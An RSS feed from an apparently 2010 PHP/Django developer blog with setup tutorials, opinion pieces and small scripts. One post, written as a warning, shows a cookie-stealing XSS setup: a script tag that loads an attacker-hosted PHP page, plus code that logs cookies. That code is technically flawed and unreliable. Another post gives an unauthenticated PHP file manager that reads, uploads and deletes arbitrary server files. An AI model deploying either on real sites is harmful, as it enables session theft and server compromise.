<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ifabio &#124; DevBlog</title>
	<atom:link href="http://blog.ifabio.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.ifabio.com</link>
	<description>Just another developer blog</description>
	<lastBuildDate>Fri, 05 Nov 2010 15:11:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>The Six rules to be a perfect PHP 5 switcher</title>
		<link>http://blog.ifabio.com/2010/07/26/the-six-rules-to-be-a-perfect-php-5-switcher/</link>
		<comments>http://blog.ifabio.com/2010/07/26/the-six-rules-to-be-a-perfect-php-5-switcher/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 13:02:09 +0000</pubDate>
		<dc:creator>ifabio</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP for dummies]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[Zend]]></category>

		<guid isPermaLink="false">http://blog.ifabio.com/?p=21</guid>
		<description><![CDATA[It&#8217;s so strange to hear about PHP 4, while PHP 5.3 is out there. Probably because there are a lot of frameworks and cms having a PHP 4 fallback.
The first steps you need to know to be a perfect PHP5  switcher, are easy:

Be OOP
It can be useful read some books, like the most important <a href="http://blog.ifabio.com/2010/07/26/the-six-rules-to-be-a-perfect-php-5-switcher/" class="more-link">More &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s so strange to hear about PHP 4, while PHP 5.3 is out there. Probably because there are a lot of frameworks and cms having a PHP 4 fallback.</p>
<p>The first steps you need to know to be a perfect PHP5  switcher, are easy:</p>
<ol>
<li><strong>Be <a href="http://en.wikipedia.org/wiki/Object-oriented_programming">OOP</a></strong><br />
It can be useful read some books, like the most important one <a href="http://www.ifabio.com/TIJ/">Thinking in Java</a>, which is free. Java apart, It explains you the importance to build your library  and your works in blocks. You always should try to create your code in small pieces and reusable objects, and use classes and methods instead functions, if you can.</li>
<li><strong>Be </strong><strong><a href="http://en.wikipedia.org/wiki/Don't_repeat_yourself">DRY</a></strong><br />
Every time you write your code, spend a little time to discover if it can be reusable and what you need to do that.</li>
<li><strong>Be organized</strong><br />
You MUST know about MVC (Model/View/Controller) patterns and <a href="http://www.vincehuston.org/dp/">Design Patterns</a>. Putting code in the right place it&#8217;s more simply than you think<br />
For example:<br />
If you are acting on db, you are in Model pattern<br />
If you are handling user input or you are using fetched data, you are in the Controller pattern<br />
If you are writing the interface, you are in the View pattern</li>
<li><strong>Don&#8217;t feel alone</strong><br />
Think every time you write your code someone could be working with it:</p>
<ul>
<li>use explanatory names for your methods, classes, functions, variables, constants (ex. do_coffee(), $total_smiles, LIGHT_SPEED) and avoid using numeric variables (ex: $sql1, $sql2&#8230;)</li>
<li>smart comments on your code. Write the proposal and avoid a simply code translation</li>
<li>learn <a href="http://www.phpdoc.org/">PHPDoc</a></li>
</ul>
</li>
<li><strong>Be version controlled</strong><br />
What happens if you lose your code or some changes? Don&#8217;t be fool, use <a href="http://mercurial.selenic.com/">Mercurial</a> or <a href="http://git-scm.com/">Git</a>. <a href="http://subversion.tigris.org/">Subversion</a> at least. You can have your <a href="http://www.bitbucket.org">free repository</a>, if your server hasn&#8217;t one.</li>
<li><strong>Be unique but not stupid</strong><br />
Before writing your code, put down a schema and try to not write your code from scratch. Use frameworks or reusable libraries and help their communities, if you can. Take a look to : <a href="http://www.symfony-project.org/">Symfony</a>, <a href="http://framework.zend.com/">Zend Framework</a>, <a href="http://pear.php.net/">Pear</a></li>
</ol>
<p>Suggested books:</p>
<ul>
<li><a href="http://books.sensiolabs.com/book/9782918390169">Pratical Symfony</a></li>
<li><a href="http://www.amazon.com/Pro-PHP-Patterns-Frameworks-Testing/dp/1590598199/">Pro PHP</a></li>
<li><a href="http://www.amazon.com/Pro-Zend-Framework-Techniques-Project/dp/1430218797/">Pro Zend Framework Techniques</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifabio.com/2010/07/26/the-six-rules-to-be-a-perfect-php-5-switcher/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A 20 rows filebrowser-ftp client script in PHP</title>
		<link>http://blog.ifabio.com/2010/03/03/a-20-rows-filebrowser-ftp-client-script-in-php/</link>
		<comments>http://blog.ifabio.com/2010/03/03/a-20-rows-filebrowser-ftp-client-script-in-php/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 16:47:26 +0000</pubDate>
		<dc:creator>ifabio</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP for dummies]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[filebrowser]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[upload]]></category>

		<guid isPermaLink="false">http://blog.ifabio.com/?p=13</guid>
		<description><![CDATA[Here&#8217;s an example of a minimal filebrowser script, similar to a remote ftp client. You can clearly browse files, download them, delete and upload new ones.

&#60;?php
if(isset($_GET['p']) &#38;&#38; $_GET['p'])
    if(is_file($_GET['p'])){
        header('Content-Disposition: attachment; filename=&#34;'.basename($_GET['p']).'&#34;');
        die(file_get_contents($_GET['p']));
    }else
  <a href="http://blog.ifabio.com/2010/03/03/a-20-rows-filebrowser-ftp-client-script-in-php/" class="more-link">More &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s an example of a minimal filebrowser script, similar to a remote ftp client. You can clearly browse files, download them, delete and upload new ones.</p>
<pre class="brush: php;">
&lt;?php
if(isset($_GET['p']) &amp;&amp; $_GET['p'])
    if(is_file($_GET['p'])){
        header('Content-Disposition: attachment; filename=&quot;'.basename($_GET['p']).'&quot;');
        die(file_get_contents($_GET['p']));
    }else
        chdir(realpath($_GET['p']));
$base_path=getcwd().DIRECTORY_SEPARATOR;
if(isset($_FILES['f']['tmp_name']) &amp;&amp; $_FILES['f']['tmp_name'])
    move_uploaded_file($_FILES['f']['tmp_name'], $base_path.$_FILES['f']['name']);
if(isset($_GET['d']) &amp;&amp; is_file($base_path.$_GET['d']))
    unlink($base_path.$_GET['d']);
$files=scandir($base_path);
$html_list='';
foreach($files as $file){
    $p=urlencode($base_path.$file);
    $html_list.=&quot;&lt;li&gt;&lt;a href=\&quot;?p=&quot;.$p.&quot;\&quot;&gt;$file&lt;/a&gt; &quot;.((is_file($base_path.$file))?&quot;| &lt;a href=\&quot;?p=$p&amp;d=$file\&quot;&gt;delete&lt;/a&gt;&quot;:&quot;&quot;).&quot;&lt;/li&gt;&quot;;
}
$form_upload='&lt;form action=&quot;&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;&lt;input type=&quot;file&quot; name=&quot;f&quot; /&gt;&lt;input type=&quot;submit&quot; /&gt;';
echo &quot;&lt;h1&gt;&quot;.getcwd().&quot;&lt;/h1&gt;$form_upload&lt;ul&gt;$html_list&lt;/ul&gt;&quot;;
</pre>
<p>And here a screenshot:<br />
<a href="http://blog.ifabio.com/wp-content/uploads/2010/03/Schermata-2010-03-03-a-17.30.33.png"><img src="http://blog.ifabio.com/wp-content/uploads/2010/03/Schermata-2010-03-03-a-17.30.33-300x208.png" alt="" title="PHP filebrowser" width="300" height="208" class="alignnone size-medium wp-image-15" /></a></p>
<p>Pay attention, this script is not production ready. It is only an experiment to demostrate the minimun work to create a complete file browser script. Put it on a public website could be dangerous.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifabio.com/2010/03/03/a-20-rows-filebrowser-ftp-client-script-in-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Django, Rails, Symfony &#8211; A different point of view</title>
		<link>http://blog.ifabio.com/2010/03/02/django-rails-symfony-a-different-point-of-view/</link>
		<comments>http://blog.ifabio.com/2010/03/02/django-rails-symfony-a-different-point-of-view/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 10:27:02 +0000</pubDate>
		<dc:creator>ifabio</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Rails]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[Zend]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[cakephp]]></category>
		<category><![CDATA[codeigniter]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[Zend Framework]]></category>

		<guid isPermaLink="false">http://blog.ifabio.com/?p=12</guid>
		<description><![CDATA[It&#8217;s easy to find a blog that lets you know which one makes the best things among these frameworks, but I want to point this observation in a different way. The framework community.
First of all, it doesn&#8217;t matter which framework  you will choose, these three are all at the same quality level and production ready.  So, <a href="http://blog.ifabio.com/2010/03/02/django-rails-symfony-a-different-point-of-view/" class="more-link">More &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s easy to find a blog that lets you know which one makes the best things among these frameworks, but I want to point this observation in a different way. The framework community.</p>
<p>First of all, it doesn&#8217;t matter which framework  you will choose, these three are all at the same quality level and production ready.  So, in order to choose the right one for you, you have only to think about how it fits your needs and if you feel comfortable with it.</p>
<p>I think about <a href="http://rubyonrails.org/" target="_blank">Ruby on Rails</a> as Obama in USA. You were hoping something was going to change. You believed the web programming wasn&#8217;t ugly and boring anymore. Sure, you haven&#8217;t braces any more and you finally got your <a href="http://ruby-doc.org/docs/ProgrammingRuby/html/tut_containers.html" target="_blank">blocks</a>, but almost everything is the same, you only changed your language.<br />
The good news is that it has the biggest community of the three frameworks.  Thanks to that, you can find almost everything as a gem. The bad news is that sometimes you can find a related project made by a novice or a user that doesn&#8217;t understand well the language or the main project.<br />
I suppose this community is like the PHP developers ten years ago. Approaching to it is very easy, and it lets you think you can do whatever you want with smallest effort. But this isn&#8217;t the real world. And when you realize the truth, you have already done projects that you need to keep alive. So, they suppose the rules don&#8217;t exist and they start thinking as they always do. And obviously it is not the right way.</p>
<p><a href="http://www.djangoproject.com/" target="_blank">Django</a> uses Python, which I like most. But not the community. They have a rigid mentality and they would never want to break the rules and when it happens, they are ashamed and they punish themselves (or others). Normally they don&#8217;t care about graphics and fancy things, so all the releated projects you will find are &#8220;minimalistic&#8221;: no graphic, no frills. Sometimes also the documentation is minimalist. Often you need to explore the code, because they assume you already know the whole Python philosophy and its rules (<a href="http://www.python.org/dev/peps/" target="_blank">pep</a>). And obviously the IT world.</p>
<p><a href="http://www.symfony-project.org/" target="_blank">Symfony</a> is like a fairy tale. You can&#8217;t believe it&#8217;s true. Free published ebooks, excellent online documentation, great community support. Where&#8217;s the trick? There&#8217;s no trick. You get what you see. The common problem of the PHP community is to see it like the rest of garbage. They think Wordpress or Drupal will conquer the world and they don&#8217;t understand anything about OOP, DRY principle and MVC layers. So, they simply suppose Symfony is hard to understand. But, the real Symfony community is open and the members do understand the importance to break up old rules and start thinking new ones (<a href="http://en.wikipedia.org/wiki/Design_pattern_(computer_science)" target="_blank">Design Pattern</a>).</p>
<p>A little mention about <a href="http://framework.zend.com/" target="_blank">Zend Framework</a>. Although it&#8217;s under the big Z&#8217;s wing and it is almost to v. 2.0 step, it&#8217;s still immature.  I mean, it has a great library but, although they inserted a &#8220;looks like&#8221; CLI interface, to do a complete project (backend+frontend)  still an hard work. And, personally, I dont&#8217; understand the use of &#8220;.ini&#8221; file configuration instead of normal PHP file.<br />
But I&#8217;m sure all the people have got the Z patent, will improve it (if they are able to think).</p>
<p>A polite person doesn&#8217;t tell you his favorite, because you have to choose it by yourself. The real man does.<br />
I prefer Django.  As I said, because of Python and because I always try to be minimalist when I write my code and because sometimes you need a set of rules to build a good project.<br />
My second choice is Symfony, because I was born as PHP developer. I think it is the state of the art of &#8220;MVC&#8221; thinking in PHP.<br />
Speaking of which, you know well that there are a lot of PHP frameworks out there, but if you think <a href="http://cakephp.org/" target="_blank">CakePHP</a> and <a href="http://codeigniter.com/" target="_blank">CodeIgniter</a> are alternatives, maybe you have choosen the wrong job.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifabio.com/2010/03/02/django-rails-symfony-a-different-point-of-view/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Javascript Hack &#8211; easy XSS example</title>
		<link>http://blog.ifabio.com/2010/02/24/javascript-hack-easy-xss-example/</link>
		<comments>http://blog.ifabio.com/2010/02/24/javascript-hack-easy-xss-example/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 10:16:14 +0000</pubDate>
		<dc:creator>ifabio</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.ifabio.com/?p=10</guid>
		<description><![CDATA[You can find tons of cross site scripting hacks. I would alert you with a common and easy to do type.
The first step is to insert a javascript  include tag in a shared webservice user page :
&#60;script language=&#34;javascript&#34; src=&#34;http://yoursite.com/cookiejar.php&#34;&#62;&#60;/script&#62;
Second, you need to put a script at http://yoursite.com/cookiejar.php, with the following code:
&#60;?php
if(!is_array($_COOKIE)) die();
foreach($_COOKIE as $cookie_name <a href="http://blog.ifabio.com/2010/02/24/javascript-hack-easy-xss-example/" class="more-link">More &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>You can find tons of cross site scripting hacks. I would alert you with a common and easy to do type.</p>
<p>The first step is to insert a javascript  include tag in a shared webservice user page :</p>
<pre class="brush: xml;">&lt;script language=&quot;javascript&quot; src=&quot;http://yoursite.com/cookiejar.php&quot;&gt;&lt;/script&gt;</pre>
<p>Second, you need to put a script at http://yoursite.com/cookiejar.php, with the following code:</p>
<pre class="brush: php;">&lt;?php
if(!is_array($_COOKIE)) die();
foreach($_COOKIE as $cookie_name =&gt; $cookie_value)
    file_put_contents('cookiejar.txt',
                         $cookie_name.':'.$cookie_value.&quot;\n&quot;,
                         FILE_APPEND);</pre>
<p>If the website allows you to put a raw html or tags, after a while you will see all the user cookies will visit the page with the tag you inserted.</p>
<p>So, you should never trust a user generated content. The better way to avoid XSS is to use an advanced web framework, like <a href="http://www.djangoproject.com/" target="_blank">Django</a>, <a href="http://rubyonrails.org/" target="_blank">Rails</a> or <a href="http://www.symfony-project.org/" target="_blank">Symfony</a>. But if you are creating your own code project remember always to parse the user input, strip the tags or convert all the text in <a href="http://www.w3schools.com/TAGS/ref_urlencode.asp" target="_blank">urlencoding</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifabio.com/2010/02/24/javascript-hack-easy-xss-example/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP photo gallery all in one</title>
		<link>http://blog.ifabio.com/2010/02/23/php-photo-gallery-all-in-one/</link>
		<comments>http://blog.ifabio.com/2010/02/23/php-photo-gallery-all-in-one/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 13:54:53 +0000</pubDate>
		<dc:creator>ifabio</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP for dummies]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[album]]></category>
		<category><![CDATA[allinone]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[lightbox]]></category>

		<guid isPermaLink="false">http://blog.ifabio.com/?p=8</guid>
		<description><![CDATA[You have a lot of images and don&#8217;t want a fancy Flickr or big framework (ex zenphoto) to show them. You want only put your image folders on an ftp server and show them to the world. Easy as 123. Mininim album could be a one shot solution.
I wrote it several years ago and now <a href="http://blog.ifabio.com/2010/02/23/php-photo-gallery-all-in-one/" class="more-link">More &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>You have a lot of images and don&#8217;t want a fancy Flickr or big framework (ex <a href="http://www.zenphoto.org/" target="_blank">zenphoto</a>) to show them. You want only put your image folders on an ftp server and show them to the world. Easy as 123. <a href="http://bitbucket.org/ifabio/mininim-album/">Mininim album</a> could be a one shot solution.</p>
<p>I wrote it several years ago and now I decided to dust and share it because a lot of friends ask me a simple solution to have a nice web gallery of their holiday pictures or a simple photo portfolio.</p>
<p>This script requires only a Linux server and PHP (4 or 5) with obviously  GD library enabled. You don&#8217;t have to worry about this requirements. The simplest thing you can do is to put the file on your server and open the page into the browser. If something goes wrong, you will see an error <img src='http://blog.ifabio.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The install process is simple, because doesn&#8217;t exists <img src='http://blog.ifabio.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Download the file from the <a href="http://bitbucket.org/ifabio/mininim-album/src/">repository</a> and put the &#8220;index.php&#8221; file on the server. In the same directory put your image folders.</p>
<p>Ex.:</p>
<pre class="brush: bash; gutter: false;">
$ hg clone https://ifabio@bitbucket.org/ifabio/mininim-album/
</pre>
<p>You can also download the file from the repository as zip.</p>
<p>Use your ftp client (<a href="http://cyberduck.ch/" target="_blank">Cyberduck </a>or <a href="http://filezilla-project.org/download.php?type=client" target="_blank">Filezilla</a>) to upload the file and your images. Remember to put always the images into a separate folder.</p>
<p>Enjoy! You can see a live demo on <a href="http://album.mininim.org">album.mininim.org</a></p>
<p><a href="http://bitbucket.org/ifabio/mininim-album/issues/?status=new">Report a bug</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifabio.com/2010/02/23/php-photo-gallery-all-in-one/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Django-admin +Filebrowser +TinyMCE –Grappelli made easy</title>
		<link>http://blog.ifabio.com/2010/02/22/django-filebrowser-tinymce-%e2%80%93-grappelli-made-easy/</link>
		<comments>http://blog.ifabio.com/2010/02/22/django-filebrowser-tinymce-%e2%80%93-grappelli-made-easy/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 11:03:34 +0000</pubDate>
		<dc:creator>ifabio</dc:creator>
				<category><![CDATA[django]]></category>
		<category><![CDATA[django for dummies]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[django-admin]]></category>
		<category><![CDATA[filebrowser]]></category>
		<category><![CDATA[grappelli]]></category>
		<category><![CDATA[tinymce]]></category>
		<category><![CDATA[wysiwug]]></category>

		<guid isPermaLink="false">http://blog.ifabio.com/?p=6</guid>
		<description><![CDATA[First of all you have to follow the instruction here.
After that, download the source code of tinyMCE, unzip, grab the &#8216;tiny_mce&#8217; folder, inside the &#8216;jscripts&#8217; folder, and put it in the media folder of your project. Ex.:

$ unzip tinymce_3_*.zip
$ cp -r tinymce/jscripts/tiny_mce your_media_project_path/tiny_mce

To turn on the wysiwyg on the admin page you need to include <a href="http://blog.ifabio.com/2010/02/22/django-filebrowser-tinymce-%e2%80%93-grappelli-made-easy/" class="more-link">More &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>First of all you have to follow the instruction <a href="http://blog.ifabio.com/2010/02/19/django-filebrowser-grappelli/">here</a>.</p>
<p>After that, download the source code of <a href="http://tinymce.moxiecode.com/download.php" target="_blank">tinyMCE</a>, unzip, grab the &#8216;tiny_mce&#8217; folder, inside the &#8216;jscripts&#8217; folder, and put it in the media folder of your project. Ex.:</p>
<pre class="brush: bash;">
$ unzip tinymce_3_*.zip
$ cp -r tinymce/jscripts/tiny_mce your_media_project_path/tiny_mce
</pre>
<p>To turn on the wysiwyg on the admin page you need to include the main tiny_mce javascript file and the javascript that convert the textareas on the admin page.<br />
It&#8217; really simple. Open your admin model and add the Meta class with js paths. Ex:</p>
<pre class="brush: python;">#admin.py of your app
from yourproject.yourapp.models import YourModel
from django.contrib import admin
from django.conf import settings

class YourModelAdmin(admin.ModelAdmin):
    class Media:
        js = (settings.MEDIA_URL+'tiny_mce/tiny_mce_src.js',
                 settings.MEDIA_URL+&quot;filebrowser/js/TinyMCEAdmin.js&quot;,)

admin.site.register(YourModel,YourModelAdmin)
</pre>
<p>Now you can put whatever you want on your contents!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifabio.com/2010/02/22/django-filebrowser-tinymce-%e2%80%93-grappelli-made-easy/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Django + Filebrowser &#8211; Grappelli</title>
		<link>http://blog.ifabio.com/2010/02/19/django-filebrowser-grappelli/</link>
		<comments>http://blog.ifabio.com/2010/02/19/django-filebrowser-grappelli/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 10:29:05 +0000</pubDate>
		<dc:creator>ifabio</dc:creator>
				<category><![CDATA[django]]></category>
		<category><![CDATA[django for dummies]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[filebrowser]]></category>
		<category><![CDATA[grappelli]]></category>

		<guid isPermaLink="false">http://blog.ifabio.com/?p=3</guid>
		<description><![CDATA[So, you want a content management system on your site and you&#8217;re thinking about Django. Yes. Maybe You&#8217;re right, but what happen if you want include files and images on your admin edited pages? You have only few real options.
First, I want consider django-adminfiles, because it remainds me my first approch with my first admin/backend <a href="http://blog.ifabio.com/2010/02/19/django-filebrowser-grappelli/" class="more-link">More &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>So, you want a content management system on your site and you&#8217;re thinking about Django. Yes. Maybe You&#8217;re right, but what happen if you want include files and images on your admin edited pages? You have only few real options.</p>
<p>First, I want consider <a href="http://bitbucket.org/carljm/django-adminfiles/src/" target="_blank">django-adminfiles</a>, because it remainds me my first approch with my first admin/backend PHP powered. I feel it&#8217;s far away to be production ready. Most of all, because you haven&#8217;t a file preview, especially with the images where, unfortunately, you haven&#8217;t a resizing choices.</p>
<p>So, go ahead and  trying 1st google position <a href="http://code.google.com/p/django-filebrowser/" target="_blank">django-filebrowser</a>.  Really nice work, but it requires <a href="http://code.google.com/p/django-grappelli/" target="_blank">Grappelli</a>?! Yes, grappelli has a nice interface and it has good features (eg. bookmarks), but you can&#8217;t force anyone to use that for filebrowser! So, just trying to find an escamotage.</p>
<p>Why filebrowser doesn&#8217;t work well with the default django admin?  Because its templates require some blocks and some javascript (jQuery)  not included in the default admin. So, if you want to manually fix the  problem you have to change the blocks in all the template files:</p>
<p>from:</p>
<pre class="brush: xml; gutter: false;">{% block stylesheets %}</pre>
<p>to:</p>
<pre class="brush: xml; gutter: false;">{% block extrastyle %}</pre>
<p>and from:</p>
<pre class="brush: xml; gutter: false;">{% block javascripts %}</pre>
<p>to:</p>
<pre class="brush: xml; gutter: false;">{% block extrahead %}</pre>
<p>Finally  you have to add jQuery on the javascript block:</p>
<pre class="brush: xml; gutter: false;">
{% block javascripts %}
{{ block.super }}
&lt;script type=”text/javascript” src=”../../jsi18n/”&gt;&lt;/script&gt;
&lt;script type=”text/javascript” src=”{% admin_media_prefix %}js/core.js”&gt;&lt;/script&gt;
&lt;!-- add the line below --&gt;
&lt;script type=”text/javascript” src=”{{ settings_var.URL_FILEBROWSER_MEDIA }}uploadify/jquery-1.3.2.min.js”&gt;&lt;/script&gt;
</pre>
<p>From django 1.2, you can skip the last step because jquery is included by default into the admin header.</p>
<p>&#8230; or &#8230;</p>
<p><strong>you can skip all of this!</strong></p>
<p>I found a fork, <a href="http://github.com/wardi/django-filebrowser-no-grappelli" target="_blank">django-filebrowser-no-grappelli</a>, but isn&#8217;t updated so doesn&#8217;t work fine with the image versioning, fixed on the main project. Fortunately its templates work and the simplest thing we can do is changing the main repository templates folder with the the forked one.</p>
<p>So:</p>
<pre class="brush: bash; gutter: false;">$ svn checkout svn checkout http://django-filebrowser.googlecode.com/svn/trunk/filebrowser/ django-filebrowser

$ git clone git://github.com/wardi/django-filebrowser-no-grappelli.git django-filebrowser-no-grappelli

$ cp -r django-filebrowser-no-grappelli/filebrowser/templates django-filebrowser/filebrowser/templates
</pre>
<p>That&#8217;s all. Copy django-filebrowser folder to your local site-packages or in your project path and follow the <a href="http://code.google.com/p/django-filebrowser/wiki/installationbasic" target="_blank">install </a>and <a href="http://code.google.com/p/django-filebrowser/wiki/Settings" target="_blank">setup</a> istructions.<br />
If you don&#8217;t specifing the default folders, you have to create default folders in your project media folder:</p>
<pre class="brush: bash; gutter: false;">$ mkdir yourprojectpath/media/uploads
$ mkdir yourprojectpath/media/_versions_</pre>
<p>Have fun! -&gt; <a href="http://localhost:8000/admin/filebrowser/browse">http://localhost:8000/admin/filebrowser/browse</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ifabio.com/2010/02/19/django-filebrowser-grappelli/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 2.077 seconds -->
<!-- Cached page generated by WP-Super-Cache on 2012-05-19 16:06:51 -->
<!-- Compression = gzip -->
